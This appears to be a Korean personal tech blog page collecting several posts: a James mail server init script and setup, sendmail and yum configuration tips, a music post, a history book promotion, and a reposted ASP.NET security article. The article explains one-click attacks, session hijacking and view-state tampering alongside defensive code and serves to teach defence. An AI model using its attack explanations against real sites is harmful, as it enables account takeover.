# /etc/rc.d/init.d/james#!/bin/sh## Startup script for James, the Jakarta Mail Server# chkconfig: 2345 95 15# description: James is a Mail Server# processname: james# pidfile: /var/run/james.pid# config: /opt/james/apps/james/conf/config.xml# logfiles: /opt/james/apps/james/logs## version 1.0 -## Source function library.. /etc/rc.d/init.d/functions#SET THE FOLLOWING LINE TO YOUR JAVA_HOMEexport JAVA_HOME=/usr/local/java#SET THE FOLLOWING LINE TO YOUR CORRECT JBOSS_HOMEexport JAMES_HOME=/usr/local/jamesexport PATH=$PATH:$JAMES_HOME/bin:$JAVA_HOME/bin:$JAVA_HOME/jre/bin#IF YOU NEED SPECIAL CLASSES IN YOUR CLASSPATH#AT STARTUP, ADD THEM TO YOUR CLASSPATH HERE#export CLASSPATH=RETVAL=0# See how we were called.case "$1" in start) cd $JAMES_HOME/bin echo -n "Starting james daemon: " daemon $JAMES_HOME/bin/james_daemon.sh start RETVAL=$? echo [ $RETVAL -eq 0 ] && touch /var/lock/subsys/james ;; stop) echo -n "Stopping james daemon: " killproc james RETVAL=$? echo [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/james ;; restart) echo -n "Restarting james daemon: " $0 stop sleep 2 $0 start ;; esac

james의 작성이 끝났으면 실행모드로 바꾸고 /etc/rc.d/rc3.d/와 /etc/rc.d/rc5.d/에 alias를 만든다.

Console # chmod +x jamesConsole # cd /etc/rc.d/rc3.d/Console # ln -s /etc/rc.d/init.d/james S99jamesConsole # cd /etc/rc.d/rc5.d/Console # ln -s /etc/rc.d/init.d/james S99james


 

TEST

Console # ./run.sh Using PHOENIX_HOME: /usr/local/jamesUsing PHOENIX_TMPDIR: /usr/local/james/tempUsing JAVA_HOME: /usr/local/javaRunning Phoenix: Phoenix 4.0.1James 2.1.3Remote Manager Service started plain:4555POP3 Service started plain:110SMTP Service started plain:25NNTP Service started plain:119Fetch POP DisabledJVM exiting abnormally. Shutting down Phoenix. ← CTRL + CConsole # /etc/rc.d/init.d/james start ← daemon script test..Starting james daemon: [ 확인 ]

위와 같이 정상적인 실행이 되었다면, Oracle sqlplus나 JBuilder Database Pilot을 통해 Repository를 확인해보면 MailBox/Spool/User에 대한 정보를 다음과 같이 볼 수 있다.

Console # sqlplus mail/mail@mailSQL*Plus: Release 9.2.0.1.0 - Production on Wed Aug 13 10:28:59 2003Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.Connected to:Oracle9i Enterprise Edition Release 9.2.0.1.0 - ProductionWith the Partitioning, OLAP and Oracle Data Mining optionsJServer Release 9.2.0.1.0 - ProductionSQL> select * from tab;TNAME TABTYPE CLUSTERID------------------------------ ------- ----------DEADLETTER TABLEINBOX TABLESPOOL TABLEUSERS TABLESQL> desc inbox Name Null? Type ----------------------------------------- -------- ---------------------------- MESSAGE_NAME NOT NULL VARCHAR2(200) REPOSITORY_NAME NOT NULL VARCHAR2(255) MESSAGE_STATE NOT NULL VARCHAR2(30) ERROR_MESSAGE VARCHAR2(200) SENDER VARCHAR2(255) RECIPIENTS NOT NULL VARCHAR2(1000) REMOTE_HOST NOT NULL VARCHAR2(100) REMOTE_ADDR NOT NULL VARCHAR2(20) MESSAGE_BODY NOT NULL LONG RAW LAST_UPDATED NOT NULL DATE SQL> desc users; Name Null? Type ----------------------------------------- -------- ---------------------------- USERNAME NOT NULL VARCHAR2(64) PWDHASH VARCHAR2(50) PWDALGORITHM VARCHAR2(20) USEFORWARDING NUMBER(38) FORWARDDESTINATION VARCHAR2(255) USEALIAS NUMBER(38) ALIAS VARCHAR2(255) * 출처: 야옹이 백작 (http://macspace.cnu.ac.kr/%7Earmateras/v3/favorites/Computer/Unix/james.html)
Posted by tornado
|

'JAVA > WAS' 카테고리의 다른 글

아파치 튜닝 정리  (0) 2007.01.19
[펌]아파치 + 톰캣 연동  (0) 2006.09.25
[펌] [weblogic] 웹로직 문제점 방안  (0) 2006.02.07
[펌]웹 해킹을 통한 악성코드 유포사고 주의  (0) 2006.02.07
[펌] Tomcat 클러스터링  (0) 2004.05.19
Posted by tornado
|

sendmail.cf 설정 파일중에


O DaemonPortOptions=Port=smtp,Addr=127.0.0.1, Name=MTA


이런 부분이 있는데.. 여기서 Addr 부분이 127.0.0.1 이라서 그런다.


걍 지워버렸음.


메일 잘 들어온다.

Posted by tornado
|

트랙백 주소 : http://www.sir.co.kr/bbs/tb.php/pl_linux/171

 

http://linux.duke.edu/projects/yum/download.ptml

http://linux.duke.edu/projects/yum/download/2.0/ 에서

http://linux.duke.edu/projects/yum/download/2.0/yum-2.0.8-1.noarch.rpm

를 다운로드 하여

rpm -Uvh yum-2.0.8.1.noarch.rpm

설치한 후


/etc/yum.conf 를 다음과 같이 수정합니다.

[main]
cachedir=/var/cache/yum
debuglevel=2
logfile=/var/log/yum.log
pkgpolicy=newest

[base]
name=Red Hat Linux $releasever base
baseurl=http://mirror.hostway.co.kr/redhat/$releasever/os/$basearch/

[updates]
name=Red Hat Linux $releasever updates
baseurl=http://mirror.hostway.co.kr/redhat/$releasever/updates/$basearch/




그리고

yum update

하면 자동으로 업데이트 합니다.

Posted by tornado
|

 


Yngwie Malmsteen


클래식과 록의 결합을 추구하여 바로크
메탈이라는 새로운 쟝르를 만들어 낸 스웨덴
출신의 잉위 맘스틴은 80년대가 낳은 최고의
기타리스트중 한 명이며  또한 테크니적인
면에선 그를 능가할 이가 없을 것이다.

Classic으로부터 차용해 온 대위법과 하모닉
마이너 스케일을 중심으로 쉴새없이 쏟아내는
음(音)의 향연, "속주 기타 제왕"으로 불리는
잉위 맘스틴의 일본 오케스트라와의  협연입니다.

그룹 Alcatraz 탈퇴 후 Rising Force와 함께
발표한 바로크 메탈의 전성 시대를 연 Yngwie의
데뷰 앨범에서 선곡합니다.





Far Beyond the Sun

Posted by tornado
|


충무공 해전의 신비를 밝힌 단행본 <이순신과 임진왜란 - 신에게는 아직도 열두척의 배가 남아 있나이다>전4권 중 2권이 출간되었다.
이순신 연구 동아리인 이순신역사연구회 회원들이 25년에 걸쳐 연구, 답사, 관련 단체들과의 교류, 토른 등의 과정을 거쳐 펴낸 이 책은 20세기 세계사에 지각변동을 가져온 충무공 해전의 신비와 해전술, 거북선의 모든 것, 조.명.왜 3국의 정치.외교.국방 및 주요 인물들의 경영사에 대한 조명은 물론 지금까지 논란이 되고 있는 원균 관계, 이순신의 자살, 은둔설 등 여러 쟁점들에 대해서도 명쾌한 해설을 제시하고 있다.
기존의 이순신 및 임진왜란 관련 연구가 소수 학자들과 작가들에 의해 주도됨으로써 편중되거나 크게 왜곡되어온 데 반해 이 책은 기업교육 강사, 기업 홍보마케팅 실무자, 교사, 학원강사 등 현업에 종사하고 있는 일반인 아마추어 이순신 연구자들이 오랜 세월 동안 공동 연구해온 결과물로서 지금까지 와는 전혀 다른 새로운 시각의 역사관을 선보였다는 점에서 신선하고도 이채롭다.
기존의 임진왜란 관련 서적들이 소수 학자들의 세분화된 제한적 연구나 일부 소설가들이나 드라마 작가들의 역사적 사실을 무시한 개인적 상상력을 바탕으로 쓰여진 것임에 반해, 이 책은 "임진왜란 3대 고전"으로 불리는 '이순신의 문집(<난중일기>,<임진장초>)+류성룡의<징비록>+<선조실록>과 각종 국내외 관련 서적들을 비교 조명함으로써 보다 사실적이고도 철저한 고증을 기초로 이순신과 임진왜란사 전반을 복원해 냈다는 점에서 주목된다. 특히 시종일관 이순신의 기록들을 통해, 이순신의 시각으로 임진왜란 7년 동안의 모든 해전사를 조명해냈다는 점은 이 책에 '이순신 원작'이라는 상징성을 부여해도 좋을 만큼 큰 의미를 갖는다. 따라서 현재 일부 소설가들과 드라마 작가. 그리고 공영방송에 의해 심각하게 왜곡되고 있고 폄하되고 있는 이순신의 진실한 모습과 역할을 역사적 사실을 근거로 바로잡을 수 있는 책이라 하겠다.
현재 방영되고 있는 공영방송의 드라마는 원균 사후 100년에 원균의 후손들이 무명의 무인에게 부탁하여 원균을 미화시킨 <원균행장록>이란 글을 기본사료로 택한 것으로서, 동일 사건에 관하여 이순신이 당시에 직접 쓴 <난중일기>와<장계>,임진왜란 직후에 유성룡이 쓴 <징비록>, 매일매일의 역사적 사건을 기록해둔 <선조실록>등과 배치되는 주장들은 모두 <원균행장록>의 기록을 채택한 결과 역사 연구의 가장 초보적 상식인 사료선택에서부터 큰 오류를 범함으로써 심각한 역사 왜곡을 자행하고 있는 실정인바, 전 국민들이 드라마를 통해 우리의 역사를 배우고 있는 현실임을 감안할 때 이는 참으로 심각한 문제가 아닐 수 없다. 이러한 역사왜곡이나 이순신 폄하를 시정할 수 있는 최선의 텍스트가 바로 "이순신 자신이 직접 해설한" 이 책임을 자부한다.
Posted by tornado
|

Dino Esposito
Wintellect

적용 대상
   Microsoft ASP.NET 1.x
   Microsoft ASP.NET 2.0

요약: 가장 일반적인 웹 공격 유형을 요약하여 설명하고 웹 개발자가 ASP.NET의 기본 제공 기능을 사용하여 보안을 향상시킬 수 있는 방법을 설명합니다.

목차

ASP.NET 개발자가 항상 수행해야 하는 작업
위협 요인

ViewStateUserKey
쿠키와 인증
세션 가로채기
EnableViewStateMac
ValidateRequest
데이터베이스 관점
숨겨진 필드
전자 메일과 스팸
요약
관련 리소스

ASP.NET 개발자가 항상 수행해야 하는 작업

이 기사의 독자 여러분은 웹 응용 프로그램에서 보안의 중요성이 점점 커지고 있다는 사실을 굳이 강조하지 않더라도 잘 알고 계실 것입니다. ASP.NET 응용 프로그램에서 보안을 구현하는 방법에 대한 실용적인 정보를 찾고 계시겠죠? ASP.NET을 포함한 어떤 개발 플랫폼을 사용한다고 해도 완벽하게 안전한 코드 작성을 보장해 주지는 못합니다. 만일 그렇다고 말한다면 그것은 거짓말입니다. 그러나 ASP.NET의 경우, 특히 버전 1.1과 다음 버전인 2.0에서는 바로 사용할 수 있도록 기본 제공되는 많은 방어 관문이 통합되어 있습니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).

이러한 모든 기능을 갖춘 응용 프로그램이라 하더라도 단독으로는 발생 및 예측 가능한 모든 공격으로부터 웹 응용 프로그램을 보호할 수는 없습니다. 그러나 기본 제공 ASP.NET 기능을 다른 방어 기술 및 보안 전략과 함께 사용한다면 응용 프로그램이 안전한 환경에서 작동하는 데 도움이 되는 강력한 도구 키트를 만들 수 있습니다.

웹 보안은 개별 응용 프로그램의 경계를 넘어 데이터베이스 관리, 네트워크 구성, 사회 공학 및 피싱(phishing) 등이 포함되는 전략의 결과와 다양한 요소의 집약체입니다.

이 기사의 목적은 높은 수준의 보안 장벽을 유지하기 위해 ASP.NET 개발자가 항상 수행해야 하는 작업에 대해 살펴보는 것입니다. 즉, '보안'을 위해 개발자는 항상 감시하고, 완벽하게 안전하다고는 믿지 않으며, 해킹을 점점 더 어렵게 만들어야 합니다.

이러한 작업을 단순화하기 위해 ASP.NET에서 제공해야 하는 사항에 대해 알아보겠습니다.

위협 요인

표 1에는 가장 일반적인 웹 공격 형태와 이러한 웹 공격을 가능하게 하는 응용 프로그램의 결함이 요약되어 있습니다.

공격 공격을 가능하게 하는 요인
교차 사이트 스크립팅(XSS) 신뢰할 수 없는 사용자 입력이 해당 페이지로 반향됨
SQL 주입 사용자 입력 내용을 연결하여 SQL 명령을 형성함
세션 가로채기 세션 ID 추측 및 유출된 세션 ID 쿠키
한 번 클릭 인식하지 못하는 HTTP 게시가 스크립트를 통해 전송됨
숨겨진 필드 변조 선택되지 않은(신뢰할 수 있는) 숨겨진 필드가 중요 데이터로 채워져 있음

표 1. 일반적인 웹 공격

이 목록에서 알 수 있는 중요한 사실은 무엇일까요? 최소한 다음 세 가지를 알 수 있습니다.

  • 브라우저의 태그에 사용자 입력을 삽입할 때마다 잠재적으로 코드 주입 공격(SQL 주입 및 XSS의 변종)에 노출될 수 있습니다.
  • 데이터베이스 액세스 작업은 안전하게 수행되어야 합니다. 즉, 계정에 최소한의 사용 권한 집합을 사용하고 역할을 통해 개별 사용자의 책임을 제한해야 합니다.
  • 중요한 데이터는 네트워크를 통해 일반 텍스트 형태로 전송해서는 안 되며 안전하게 서버에 저장되어야 합니다.

흥미롭게도, 위 세 가지 사항은 웹 보안의 세 측면에 대한 설명입니다. 이러한 측면을 모두 조합해야만 안전하고 변조가 어려운 응용 프로그램을 빌드할 수 있습니다. 웹 보안의 측면은 다음과 같이 요약할 수 있습니다.

  • 코딩 방식: 데이터 유효성 검사, 유형 및 버퍼 길이 검사, 변조 방지 방법
  • 데이터 액세스 전략: 역할을 사용하여 가장 권한이 적은 계정을 사용하도록 하고 저장 프로시저 또는 적어도 매개 변수화된 명령을 사용합니다.
  • 효과적인 저장 및 관리: 클라이언트에 중요한 데이터를 보내지 않고, 해시 코드를 사용하여 조작을 감지하고, 사용자를 인증하고 ID를 보호하며, 엄격한 암호 정책을 적용합니다.

아시다시피 보안 응용 프로그램은 개발자, 설계자 및 관리자가 함께 노력해야만 만들 수 있습니다. 다른 방법으로는 만들 수 없습니다.

ASP.NET 응용 프로그램을 작성할 때는 아무리 뛰어난 개발자라도 코드만 입력해서 해커에 대항할 수 있다고 생각해서는 안 됩니다. ASP.NET 1.1 이상에서 제공하는 몇 가지 특정 기능을 사용하면 위에서 설명한 위협에 대한 자동 관문을 만들 수 있습니다. 이제 이러한 기능에 대해 자세히 검토해 보겠습니다.

ViewStateUserKey

ASP.NET 1.1부터 도입된 ViewStateUserKey는 개발자에게도 그다지 익숙하지 않은 Page 클래스의 문자열 속성입니다. 그 이유는 무엇일까요? 이와 관련된 설명서의 내용을 살펴보겠습니다.

현재 페이지와 연결된 뷰 상태 변수에서 개별 사용자에 ID를 할당합니다.

스타일은 매우 복잡해도 문장의 의미는 분명하게 나타납니다. 하지만, 이 문장이 속성의 목적을 제대로 설명하고 있다고 생각하십니까? ViewStateUserKey의 역할을 이해하려면 참고 절까지 좀 더 읽어 봐야 합니다.

속성을 사용하면 추가 입력 작업을 통해 뷰 상태 위조를 방지하는 해시 값을 만들어 한 번 클릭 공격을 막을 수 있습니다. 즉, ViewStateUserKey로 인해 해커가 클라이언트쪽 뷰 상태의 콘텐츠를 사용하여 사이트를 악의적으로 게시하기가 어려워졌습니다. 이 속성에는 기본적으로 세션 ID나 사용자의 ID 같은 비어 있지 않은 문자열을 할당할 수 있습니다. 이 속성의 중요성을 보다 잘 이해하기 위해 한 번 클릭 공격의 기본 사항을 간략하게 검토해 보겠습니다.

한 번 클릭 공격은 알려진 취약한 웹 사이트에 악성 HTTP 양식을 게시하는 방법으로 수행됩니다. 이 공격은 일반적으로 사용자가 전자 메일을 통해 수신하거나 방문자가 많은 포럼을 탐색하다가 발견한 링크를 무의식적으로 클릭할 경우 시작되기 때문에 "한 번 클릭" 공격이라고 합니다. 이 링크를 따라 가면 사이트에 악성 <form>을 제출하는 원격 프로세스가 시작됩니다. 솔직히 말해서 10억을 벌려면 여기를 클릭하십시오 같은 링크를 보면 누구나 호기심으로 한 번쯤 클릭해 볼 수 있습니다. 언뜻 보기에는 여러분에게 문제가 될 일은 없습니다. 그렇다면 웹 커뮤니티의 나머지 사용자들에게도 아무런 문제가 없을까요? 그것은 아무도 알 수 없습니다.

한 번 클릭 공격이 성공하기 위해서는 다음과 같은 배경 조건이 필요합니다.

  • 공격자가 해당 취약 사이트에 대해 잘 알고 있어야 합니다. 이는 공격자가 파일에 대해 "열심히" 연구하거나, 불만이 많은 내부자(예: 해고된 직원 및 부정직한 직원)이기 때문에 가능합니다. 그렇기 때문에 공격자는 매우 위협적인 존재일 수 있습니다.
  • 해당 사이트가 Single Sign-On을 구현하기 위해 쿠키(특히 영구 쿠키)를 사용 중이어야 하며 공격자는 유효한 인증 쿠키를 받아서 가지고 있어야 합니다.
  • 사이트의 특정 사용자가 중요한 트랜잭션에 관련되어 있습니다.
  • 공격자에게 대상 페이지에 대한 액세스 권한이 있어야 합니다.

앞에서 설명한 것처럼 공격은 양식이 필요한 페이지에 악성 HTTP 양식을 제공하는 방법으로 수행됩니다. 그러면 이 페이지는 분명히 게시된 데이터를 사용하여 중요한 작업을 수행할 것입니다. 이때 공격자는 각 필드의 사용 방법을 정확히 파악하여 스푸핑한 값을 통해 자신의 목적을 달성할 수 있습니다. 이러한 공격은 보통 특정 대상을 공격하기 위한 것이며, 해커가 자신의 사이트에 있는 링크를 클릭하도록 공격 대상을 유도하여 제 3의 사이트에 악성 코드를 게시하는 '삼각 작업'을 설정하므로 역추적하기가 어렵습니다(그림 1 참조).

그림 1. 한 번 클릭 공격

왜 의심받지 않는 희생자가 필요할까요? 서버의 로그에는 악의적인 요청이 발생지의 IP 주소가 희생자의 IP 주소로 기록되기 때문입니다. 앞서 언급했듯이 이 공격은 "일반" XSS 처럼 일반적이거나 수행하기가 쉽지는 않지만, 그 특성으로 인해 파괴적인 공격이 될 수 있습니다. 이 공격의 해결책은 무엇일까요? ASP.NET을 중심으로 공격 메커니즘을 검토해 보겠습니다.

Page_Load 이벤트에서 동작을 코딩하지 않으면 ASP.NET 페이지가 포스트백(postback) 이벤트 외부에서 중요한 코드를 실행할 수 있는 방법이 없습니다. 포스트백(postback) 이벤트가 발생하려면 뷰 상태 필드가 반드시 필요합니다. ASP.NET은 요청의 포스트백(postback) 상태를 확인하고 _VIEWSTATE 입력 필드의 존재 여부에 따라 IsPostBack을 설정합니다. 따라서 ASP.NET 페이지에 위조된 요청을 보내려는 사람은 누구나 유효한 뷰 상태 필드를 제공해야 합니다.

한 번 클릭 공격이 작동하기 위해서는 해커에게 해당 페이지에 대한 액세스 권한이 있어야 합니다. 이를 예측한 해커는 해당 페이지를 로컬에 저장해 둡니다. 따라서 _VIEWSTATE 필드에 액세스해 이를 사용하여 이전 뷰 상태와 다른 필드의 악성 값이 있는 요청을 만들 수 있습니다. 이 공격은 성공할까요?

물론입니다. 공격자가 올바른 인증 쿠키를 제공하는 경우 해커가 침입하여 요청이 정식으로 처리됩니다. EnableViewStataMac이 해제된 경우 서버에서 뷰 상태 콘텐츠는 전혀 확인되지 않거나 변조 방지에 대해서만 확인됩니다. 기본적으로 뷰 상태에서는 해당 콘텐츠를 특정 사용자에게만 제한할 수 없습니다. 공격자는 해당 페이지에 합법적으로 액세스해서 얻은 뷰 상태를 쉽게 재사용하여 다른 사용자 대신 위조된 요청을 만들 수 있습니다. 이 문제를 해결하기 위해 필요한 것이 ViewStateUserKey입니다.

속성을 정확하게 선택한 경우 사용자 고유 정보가 뷰 상태에 추가됩니다. 요청이 처리되면 ASP.NET이 뷰 상태에서 키를 추출하여 이를 실행 중인 페이지의 ViewStateUserKey와 비교합니다. 두 속성이 일치하면 해당 요청은 적법한 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 속성의 유효 값은 무엇일까요?

ViewStateUserKey를 일정한 문자열로, 즉 모든 사용자에 동일하게 설정하는 것은 빈 상태로 두는 것과 같습니다. 이 속성은 사용자마다 다른 값, 즉 사용자 ID나 세션 ID로 설정해야 합니다. 여러 가지 기술 및 사회적인 이유로 인해 예측이 불가능하고 시간 초과가 있으며 사용자마다 다른 세션 ID가 보다 적합합니다.

다음은 모든 페이지에 있어야 하는 코드입니다.

void Page_Init (object sender, EventArgs e) { ViewStateUserKey = Session.SessionID; : } 

이 코드를 계속 다시 쓰지 않도록 하려면 Page 파생 클래스의 OnInit 가상 메서드에 이를 포함시킵니다. Page.Init 이벤트에서 이 속성을 설정해야 합니다.

protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = Session.SessionID; } 

저의 다른 기사인 더욱 탄탄한 기초 위에 ASP.NET 페이지 작성하기에서 설명한 것처럼 전반적으로 볼 때 항상 기본 페이지 클래스를 사용하는 것이 좋습니다. aspnetpro.com 에서 한 번 클릭 공격자의 기술에 대한 자세한 내용이 수록된 기사를 확인할 수 있습니다.

쿠키와 인증

쿠키는 개발자가 원하는 작업을 수행하는 데 도움이 됩니다. 쿠키는 브라우저와 서버 사이에서 일종의 영구 링크로 동작합니다. 특히 Single Sign-On을 사용하는 응용 프로그램의 경우 공격자는 쿠키를 알아냄으로써 공격을 수행할 수 있습니다. 한 번 클릭 공격의 경우가 특히 그러합니다.

쿠키를 사용하기 위해 프로그래밍 방식으로 쿠키를 명시적으로 만들고 읽을 필요는 없습니다. 세션 상태를 사용하고 양식 인증을 구현하는 경우에는 암시적으로 쿠키를 사용합니다. 물론 ASP.NET은 쿠키를 사용하지 않는 세션 상태를 지원하며 ASP.NET 2.0도 쿠키를 사용하지 않는 양식 인증을 도입했습니다. 따라서 이론적으로는 쿠키를 사용하지 않고도 해당 기능을 사용할 수 있습니다. 그러나 이 경우 공격을 위해 쿠키를 사용하지 않는 것이 쿠키를 사용하는 것보다 더 위험할 수 있습니다. 실제로 쿠키를 사용하지 않은 세션에서는 세션 ID가 URL에 포함되므로 모든 사람이 볼 수 있습니다.

쿠키를 사용하는 경우 발생할 수 있는 문제는 무엇일까요? 쿠키는 도난당하여 해커의 시스템에 복사될 수 있으며 악성 데이터로 채워진 상태가 될 수 있습니다. 이를 시작으로 공격이 감행되는 경우가 많습니다. 도난당한 인증 쿠키가 사용자를 대신해서 외부 사용자에게 응용 프로그램에 연결하고 보호된 페이지를 사용하도록 "권한을 부여"하면, 해커는 인증 과정을 무시하고 해당 사용자에게만 허용된 역할과 보안 설정을 수행할 수 있습니다. 이러한 이유로 인증 쿠키는 보통 비교적 짧은 시간 동안(30분)만 부여됩니다. 따라서 브라우저의 세션이 완료되는 데 이보다 오랜 시간이 걸리더라도 쿠키는 만료됩니다. 쿠키가 유출되는 경우 해커는 30분 동안 창에서 공격을 시도할 수 있습니다.

너무 자주 로그온하지 않도록 하기 위해 이 창을 연장 사용할 수는 있지만 여기에는 위험 부담이 따름을 기억하십시오. 어떠한 경우에도 ASP.NET 영구 쿠키는 사용하지 마십시오. 영구 쿠키를 사용하면 사실상 쿠키의 수명이 영구적으로(50년까지) 연장됩니다. 아래의 코드 조각을 참고하여 여유가 있을 때 쿠키 만료를 수정해 보십시오.

void OnLogin(object sender, EventArgs e) { // 자격 증명 검사 if (ValidateUser(user, pswd)) { // 쿠키 만료일 설정 HttpCookie cookie; cookie = FormsAuthentication.GetAuthCookie(user, isPersistent); if (isPersistent) cookie.Expires = DateTime.Now.AddDays(10); // 응답에 쿠키 추가 Response.Cookies.Add(cookie); // 리디렉션 string targetUrl; targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent); Response.Redirect(targetUrl); } }(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)

자신의 로그인 양식에서 이 코드를 사용하면 인증 쿠키의 수명을 정밀 조정할 수 있습니다.

세션 가로채기

쿠키는 특정 사용자의 세션 상태를 검색하는 데도 사용됩니다. 해당 세션의 ID는 요청과 함께 이동하는 쿠키에 저장되어 해당 브라우저 컴퓨터에 저장됩니다. 다시 말하지만 세션 쿠키가 유출되는 경우 해커가 해당 시스템으로 침입하여 다른 사용자의 세션 상태에 액세스하는 데 사용될 수 있습니다. 이러한 현상은 지정된 세션이 활성 상태인 동안(보통 20분 미만)에만 발생 가능합니다. 이렇게 스푸핑된 세션 상태를 통해 수행되는 공격을 세션 가로채기라고 합니다. 세션 가로채기에 대한 자세한 내용은 Theft On The Web: Prevent Session Hijacking 을 참조하십시오.

이러한 공격은 얼마나 위험해질 수 있을까요? 대답하기가 어렵군요. 해당 웹 사이트에서 수행하는 작업, 그리고 보다 중요하게는 해당 페이지의 디자인 방법에 따라 차이가 있습니다. 예를 들어 다른 사람의 세션 쿠키를 알아내서 이를 해당 사이트에 있는 페이지에 대한 요청에 첨부할 수 있다고 가정해 보십시오. 페이지를 로드하여 해당 일반 사용자 인터페이스를 통해 작업할 수 있습니다. 페이지에 코드를 주입할 수 없으며, 해당 페이지에서 다른 사용자의 세션 상태를 사용하여 현재 작업 중인 내용을 제외하고 페이지 내용을 변경할 수도 없습니다. 이는 그 자체로는 나쁠 것이 없지만 세션의 정보가 중요한 경우 해커가 이를 바로 공격에 악용할 수 있습니다. 해커는 세션 저장소의 콘텐츠를 검색할 수는 없지만 합법적으로 로그인한 것처럼 저장된 내용을 사용할 수는 있습니다. 예를 들어 사용자가 사이트를 검색하면서 쇼핑 카트에 품목을 추가하는 전자 상거래 응용 프로그램을 가정해 보십시오.

  • 시나리오 1. 쇼핑 카트의 내용이 세션 상태에 저장됩니다. 체크 아웃하면 이 내용을 확인하고 보안 SSL 연결을 통해 지불 내역을 입력하도록 사용자에게 요청합니다. 이 경우 다른 사용자의 세션 상태에 연결해도 해커는 공격 대상의 쇼핑 선호도에 대한 정보만을 일부 알 수 있을 뿐입니다. 이러한 상황에서는 가로채기가 수행되어도 실제로는 아무런 손실이 없으며 정보의 기밀 유지에만 위험이 존재합니다.
  • 시나리오 2. 응용 프로그램이 등록된 각 사용자의 프로필을 처리하여 세션 상태에 저장합니다. 그런데 이 프로필에는 신용 카드 정보가 포함되어 있습니다. 왜 세션에 사용자 프로필 세부 정보를 저장할까요? 이는 십중팔구 이 응용 프로그램의 목표 중 하나가 사용자가 자신의 신용 카드 및 은행 정보를 계속 반복해서 입력하지 않도록 하는 것이기 때문입니다. 그러므로 체크 아웃하면 응용 프로그램은 내용이 미리 채워진 필드가 있는 페이지로 사용자를 이동시킵니다. 이러한 필드 중 하나에는 세션 상태에서 가져온 신용 카드 번호가 나와 있습니다. 결과는 말씀 안 드려도 아시겠죠?

응용 프로그램 페이지의 디자인은 세션 가로채기 공격을 막는 데 중요합니다. 그러나 두 가지 질문이 아직 남아 있습니다. 즉, 쿠키 도난을 막는 방법과 가로채기를 감지 및 차단하기 위해 ASP.NET에서 수행하는 작업입니다.

ASP.NET 세션 쿠키는 아주 간단하며 세션 ID 문자열만을 포함하도록 제한되어 있습니다. ASP.NET 런타임은 쿠키에서 세션 ID를 추출해서 이를 활성 세션에 대해 검사합니다. ID가 유효하면 ASP.NET은 해당 세션에 연결하여 작업을 계속 진행합니다. 이러한 동작으로 인해 해커가 유효한 세션 ID를 훔치거나 알아낸 경우 매우 간단하게 공격을 할 수 있습니다.

클라이언트 PC에 대한 무단 액세스뿐 아니라 XSS 및 "man-in-the-middle" 공격을 통해서도 유효한 쿠키를 가져올 수 있습니다. 쿠키 도난을 방지하려면 XSS와 모든 변종 방식이 성공하지 못하도록 최적의 방식으로 보안을 구현해야 합니다.

대신, 세션 ID 추측을 방지할 때는 자신의 기술을 과대 평가하지만 않으면 됩니다. 세션 ID를 추측한다는 것은 유효한 세션 ID 문자열을 예측하는 방법을 알고 있음을 의미합니다. ASP.NET에서 사용하는 알고리즘(15개의 난수가 URL 사용 문자로 매핑됨)의 경우 우연히 유효한 ID를 추측할 가능성은 거의 없다고 할 수 있습니다. 따라서 기본 세션 ID 생성기를 자신이 사용하는 세션 ID 생성기로 바꿔야 할 이유는 없습니다. 그렇게 하면 대부분의 경우 공격에 더 취약해집니다.

세션 가로채기의 보다 심각한 문제는 공격자가 쿠키를 훔치거나 추측한 후에는 ASP.NET에서 쿠키의 악용을 감지할 수 있는 방법이 거의 없다는 것입니다. 그 이유는 ASP.NET의 역할이 ID의 유효성을 확인하고 쿠키의 출처를 묻는 것으로 제한되어 있기 때문입니다.

저의 Wintellect 동료인 Jeff Prosise가 MSDN Magazine에 세션 가로채기에 관한 훌륭한 기사를 썼습니다. 훔친 세션 ID 쿠키를 사용하는 공격을 완벽하게 방어하는 것은 사실상 불가능하다는 그의 결론은 다소 허탈한 것이 사실이지만, Jeff가 개발한 코드는 보다 높은 수준의 보안을 구축하는 데 도움이 됩니다. Jeff는 세션 ID 쿠키에 대한 들어오는 요청과 나가는 응답을 모니터링하는 HTTP 모듈을 만들었습니다. 이 모듈은 나가는 세션 ID에 해시 코드를 추가하여 공격자가 이 쿠키를 다시 사용하는 것을 어렵게 만듭니다. 자세한 내용은 여기서 확인할 수 있습니다.

EnableViewStateMac

뷰 상태는 같은 페이지에 대한 두 개의 연속 요청 간에 컨트롤 상태를 유지하는 데 사용됩니다. 기본적으로 뷰 상태는 Base64를 사용하여 인코딩되며 변조 방지를 위해 해시 값으로 서명되어 있습니다. 기본 페이지 설정을 변경하지 않는 한 뷰 상태가 변조될 위험은 없습니다. 공격자가 뷰 상태를 수정하거나 올바른 알고리즘을 사용하여 뷰 상태를 다시 만드는 경우에도 ASP.NET은 그러한 시도를 감지하고 예외를 발생시킵니다. 변조된 뷰 상태가 서버 컨트롤의 상태를 수정하기는 해도 꼭 위험한 것은 아니지만, 심각한 감염의 수단이 될 수는 있습니다. 그러므로 기본적으로 발생하는 MAC(시스템 인증 코드) 교차 확인을 제거하지 않는 것이 좋습니다. 그림 2를 참조하십시오.

그림 2. EnableViewStateMac가 설정되어 있을 때 뷰 상태를 본질적으로 변조 방지 상태로 만들기

MAC 확인이 설정되어 있으면(기본값임) serialize된 뷰 상태에는 일부 서버쪽 값 및 뷰 상태 사용자 키(있을 경우)에서 가져온 해시 값이 추가됩니다. 이 뷰 상태가 포스트백(postback)되면 해시 값은 새 서버쪽 값을 사용하여 다시 계산된 후 저장된 값과 비교됩니다. 두 값이 일치하면 해당 요청은 올바른 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 해커가 뷰 상태를 제거하고 다시 만들 수 있더라도 올바른 해시를 제공하려면 서버 저장 값을 알아야 합니다. 특히 machine.config의 <machineKey> 항목에서 참조되는 시스템 키를 알고 있어야 합니다.

기본적으로 <machineKey> 항목은 자동 생성되며 Windows LSA(로컬 보안 기관)에 실제로 저장됩니다. 뷰 상태의 시스템 키가 모든 시스템에서 동일해야 하는 웹 팜의 경우에만 이 항목을 machine.config 파일에서 일반 텍스트로 지정해야 합니다.

